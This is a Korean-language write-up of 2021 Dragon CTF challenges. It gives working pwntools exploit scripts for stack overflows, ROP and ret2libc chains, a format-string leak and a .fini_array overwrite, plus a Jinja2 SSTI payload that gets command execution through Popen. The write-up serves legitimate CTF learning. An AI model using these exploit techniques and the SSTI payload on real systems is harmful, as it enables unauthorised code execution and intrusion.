2021 Dragon CTF Write-Up
![2021 Dragon CTF Write-Up](/assets/images/ctf/dragonctf-2021/title.png)
Pwn
1. Pwn sanity check
Problem
사진은 없지만 바이너리 파일이 하나 주어졌다.
Solve
main함수에서 vuln함수로 호출하고 vuln 함수는 다음과 같다.
1
2
3
4
5
6
7
8
9
10
11
12
int vuln()
{
char s; // [rsp+0h] [rbp-40h]
int v2; // [rsp+3Ch] [rbp-4h]
puts("tell me a joke");
fgets(&s, 256, stdin);
if ( v2 != 0xDEADC0DE )
return puts("will this work?");
puts("very good, here is a shell for you. ");
return shell();
}
버퍼s에 입력을 받아서 v2의 값을 0xDEADC0DE로 만들어야 shell 함수를 호출해준다. shell 함수는 다음과 같습니다.
1
2
3
4
5
6
7
int shell()
{
puts("spawning /bin/sh process");
puts("wush!");
printf("$> ");
return puts("If this is not good enough, you will just have to try harder :)");
}
바로 플래그를 주는 줄 알았는데 웬 말장난만 한다. 사용자 정의 함수에 또 다른 win이라는 함수가 존재했는데 다음과 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall win(int a1, int a2)
{
int result; // eax
result = puts("you made it to win land, no free handouts this time, try harder");
if ( a1 == 0xDEADBEEF )
{
result = puts("one down, one to go!");
if ( a2 == 0x1337C0DE )
{
puts("2/2 bro good job");
system("/bin/sh");
exit(0);
}
}
return result;
}
이 함수가 쉘을 실행시켜준다. 그러면 이 함수를 호출하게끔 해야하는데 호출할 때, 주의사항으로 매개변수로 들어오는
a1과 a2 값이 각각 0xDEADBEEF, 0x1337C0DE 여야한다. 따라서 가젯도 찾아야한다.
버퍼 s에서 256개의 입력을 받으므로, main의 ret를 넘어서까지 덮을 수 있으므로 ret에 win 함수를 호출시키는데, 이 때, 인자도 같이 넘겨준다.
Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
r = remote('dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io', 7480)
r.recvuntil("joke")
win = 0x400697
rdi = 0x400813
rsi_r15 = 0x400811
payload = b''
payload += b'A'*(0x40 - 4)
payload += p32(0xDEADC0DE)
payload += b'B'*8
payload += p64(rdi)
payload += p64(0xDEADBEEF)
payload += p64(rsi_r15)
payload += p64(0x1337C0DE)
payload += p64(0)
payload += p64(win)
r.sendline(payload)
r.interactive()
Result
FLAG
1
FLAG : dctf{Ju5t_m0v3_0n}
2. Pinch me
Problem
바이너리 파일이 한 개 주어졌다.
Solve
main -> vuln 호출
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int vuln()
{
char s; // [rsp+0h] [rbp-20h]
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]
v3 = 0x1234567;
v2 = 0x89ABCDEF;
puts("Is this a real life, or is it just a fanta sea?");
puts("Am I dreaming?");
fgets(&s, 100, stdin);
if ( v2 == 0x1337C0DE )
return system("/bin/sh");
if ( v3 == 0x1234567 )
return puts("Pinch me!");
return puts("Pinch me harder!");
}
v2 의 값이 0x1337C0DE이기만하면 쉘이 실행된다. v3는 굳이 덮을 필요는 없는데 덮었다.
Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
r = remote('dctf1-chall-pinch-me.westeurope.azurecontainer.io', 7480)
r.recvuntil('dreaming?')
payload = b''
payload += b'A'*(0x20 - 8)
payload += p32(0x1337C0DE)
payload += p32(0x01234567)
r.sendline(payload)
r.interactive()
Result
FLAG
1
FLAG : dctf{y0u_kn0w_wh4t_15_h4pp3n1ng_b75?}
3. Read me
Problem
바이너리 파일이 하나 주어졌다.
Solve
vuln함수를 호출
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 vuln()
{
FILE *stream; // ST08_8
char s; // [rsp+10h] [rbp-50h]
char format; // [rsp+30h] [rbp-30h]
unsigned __int64 v4; // [rsp+58h] [rbp-8h]
v4 = __readfsqword(0x28u);
stream = fopen("flag.txt", "r");
fgets(&s, 28, stream);
fclose(stream);
puts("hello, what's your name?");
fgets(&format, 30, _bss_start);
printf("hello ", 30LL);
printf(&format);
return __readfsqword(0x28u) ^ v4;
}
printf에서 FSB가 터진다. flag.txt를 읽어와서 버퍼 s에 저장되었으니 스택어딘가에 저장이 되었을 것이다. 따라서 FSB로 스택을 leak한다.
%1$p 에서 올라가면서 스택을 확인했고, 플래그를 찾을 수 있었다. 리틀 엔디안이기 때문에 문자가 거꾸로 출력된다. 스크립트로 자동화를 이용해 flag를 긁어오려고 시도했는데 잘 안돼서 안했다.
Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from binascii import unhexlify
def send_data(data):
try:
r = remote('dctf-chall-readme.westeurope.azurecontainer.io', 7481)
r.recvuntil('name?')
payload = b''
payload += data
r.sendline(payload)
r.recvuntil('hello ')
a = r.recvline()[2:-1]
print(a)
return a
except:
print()
'''
for i in range(1, 30):
print(unhexlify(send_data(b'%'+b'%d'%i+b'$p')))
'''
a = send_data(b'%11$p')
#print(unhexlify(b'0a7024323125'))
#print(unhexlify(b'558ee7f8b2a0')) #7
print(unhexlify(b'77306e7b66746364')) #8
print(unhexlify(b'646133725f30675f'))
print(unhexlify(b'30625f656d30735f'))
print(unhexlify(b'00356b30')) #11
#dctf{n0w_g0_r3ad_s0me_b00k5}
Result
FLAG
1
FLAG : dctf{n0w_g0_r3ad_s0me_b00k5}
4. Baby Bof
Problem
문제 파일과 도커파일이 주어졌다.
Solve
도커파일을 확인해보면 다음과 같다.
1
2
3
4
5
6
7
8
9
10
FROM ubuntu:20.04
RUN apt-get update && apt-get install -y make gcc socat
RUN groupadd pilot
RUN useradd pilot --gid pilot
COPY ./app /app
WORKDIR /app
ENTRYPOINT [ "bash", "/app/startService.sh" ]
우분투 20.04 버젼임을 알 수 있다. 내 우분투도 20.04라서 그냥 진행했다.
다음은 vuln 함수이다.
1
2
3
4
5
6
7
8
int vuln()
{
char s; // [rsp+6h] [rbp-Ah]
puts("plz don't rop me");
fgets(&s, 256, _bss_start);
return puts("i don't think this will work");
}
256개의 입력을 받아서 BOF가 터지는데, win함수 같은거도 없고, System 함수도 주어지지 않았다. 따라서 ROP를 진행하였다. puts함수의 got를 puts함수의 인자로 넣어서 libc를 leak했고, puts의 offset을 찾아서 다음과 같은 libc를 찾았다.
1
2
3
libc6_2.31-0ubuntu9.1_amd64
libc6_2.31-0ubuntu9.2_amd64
libc6_2.31-0ubuntu9_amd64
이 3개의 libc 파일 내 system과 /bin/sh의 offset이 운좋게 같았다. 그리고 이제 laek한 libc를 이용해서 system(“/bin/sh”)를 호출해 주면 쉘이 실행된다.
페이로드를 보면 ret주소에 ret주소를 한 번 더 호출했는데, movzx였나 호환성 문제로 rsp를 1워드 증가시키거나 감소시켜야 ROP가 잘 진행된다. (출력 함수 중 xmm0 레지스터를 이용하기 때문에 값이 16바이트로 정렬되어 있어야 하기 때문이다.)
Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
r = remote('dctf-chall-baby-bof.westeurope.azurecontainer.io', 7481)
r.recvuntil('rop me')
puts_plt = 0x4004a0
puts_got = 0x601018
puts_offset = 0x0875a0
system_offset = 0x055410
binsh_offset = 0x1b75aa
rdi = 0x400683
vuln_addr = 0x4005b7
payload = b''
payload += b'A'*0xa
payload += b'B'*8
payload += p64(0x4005f1) #ret
payload += p64(rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(vuln_addr)
r.sendline(payload)
r.recvuntil('work')
puts_addr = r.recv(8)[1:-1]+b'\x00\x00'
print(puts_addr)
puts_addr = u64(puts_addr)
libc_addr = puts_addr - puts_offset
print(hex(libc_addr))
system_addr = libc_addr + system_offset
binsh_addr = libc_addr + binsh_offset
r.recvuntil('rop me')
payload = b''
payload += b'A'*0xa
payload += b'B'*8
payload += p64(rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
r.sendline(payload)
r.recvuntil('work')
r.interactive()
'''
libc6_2.31-0ubuntu9.1_amd64
libc6_2.31-0ubuntu9.2_amd64
libc6_2.31-0ubuntu9_amd64
'''
Result
FLAG
1
FLAG : dctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3}
5. Magic Trick
Problem
바이너리 파일이 하나 주어졌다.
Solve
main에서 호출하는 magic함수를 살펴보면 다음과 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 magic()
{
__int64 v1; // [rsp+0h] [rbp-20h] 8
_QWORD *v2; // [rsp+8h] [rbp-18h] 8
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("What do you want to write");
__isoc99_scanf("%llu", &v1);
puts("Where do you want to write it");
__isoc99_scanf("%llu", &v2);
puts("thanks");
*v2 = v1;
return __readfsqword(0x28u) ^ v3;
}
그리고 win함수가 주어졌다.
1
2
3
4
5
6
void __noreturn win()
{
puts("You are a real magician");
system("cat flag.txt");
exit(1);
}
magic함수에서 v1과 v2를 입력받고 v2주소의 값을 v1의 값으로 덮는다. 이 때, v2의 주소에 win함수를 덮을 수 있다. 따라서 v1의 입력에는 win의 주소를 입력하고, v2에는 magic함수가 끝나고 실행되는 주소에 덮어야한다.
canary 검사인 readfsqwordf 의 got에다 덮을려고 했는데, llu로 입력받아서 오버플로우가 진행되지 않아서 canary를 건드릴 수 없었다. 따라서 바이너리가 종료될 때 실행되는 .fini_array 섹션에 덮었다.
Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
r = remote('dctf-chall-magic-trick.westeurope.azurecontainer.io', 7481)
win = 0x400667
fini_array = 0x600a00
r.recvuntil('write')
payload = b''
payload = b'%d'%win
r.sendline(payload) #v1
r.recvuntil('write it')
payload = b''
payload = b'%d'%fini_array
r.sendline(payload) #v2
r.recvuntil('thanks')
r.interactive()
Result
FLAG
1
FLAG : dctf{1_L1k3_M4G1c}
Web
1. Injection
Problem
웹 사이트 링크가 하나 주어졌고, 다음과 같이 로그인 창이 하나 존재한다.
http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/
Solve
아무렇게 로그인을 시도하면 다음과 같은 화면으로 넘어간다.
이 때 주소는 /login이였는데 여기서 login 대신에 {{7*7}}
을 넣어보면 다음과 같이 49가 출력된다.
따라서 파이썬의 SSTI가 터지는 것을 확인했고, 다음과 같이 쿼리를 날렸다.
1
{{''.__class__.__mro__[1].__subclasses__()}}
그랬더니 다음과 같이 root 객체에서 상속받은 클래스들을 확인할 수 있다.
여기서 popen 클래스를 찾아서 subclasses의 인덱스에 넣은 후 communicate를 이용해 사용하여 RCE를 진행했다.
1
{{''.__class__.__mro__[1].__subclasses__()[414]('ls',shell=True,stdout=-1).communicate()}}
웹 템플릿을 구성하는 파이썬 파일들의 소스들을 살펴보면서 다음과 같은 파일을 발견했다.
1
2
3
4
5
6
7
8
9
#security.py
import base64
def validate_login(username, password):
if username != 'admin':
return False
valid_password = 'QfsFjdz81cx8Fd1Bnbx8lczMXdfxGb0snZ0NGZ'
return base64.b64encode(password.encode('ascii')).decode('ascii')[::-1].lstrip('=') == valid_password
valid_password의 값과 같아야 한다. 따라서 역으로 연산하면 다음과 같은 결과가 나온다.
Script
1
2
3
4
5
6
7
8
9
10
11
12
import base64
cnt = 0
while(1):
try:
flag = base64.b64decode(('='*cnt+'QfsFjdz81cx8Fd1Bnbx8lczMXdfxGb0snZ0NGZ')[::-1])
break
except:
cnt += 1
print(flag)
Result
FLAG
1
FLAG : dctf{4ll_us3r_1nput_1s_3v1l}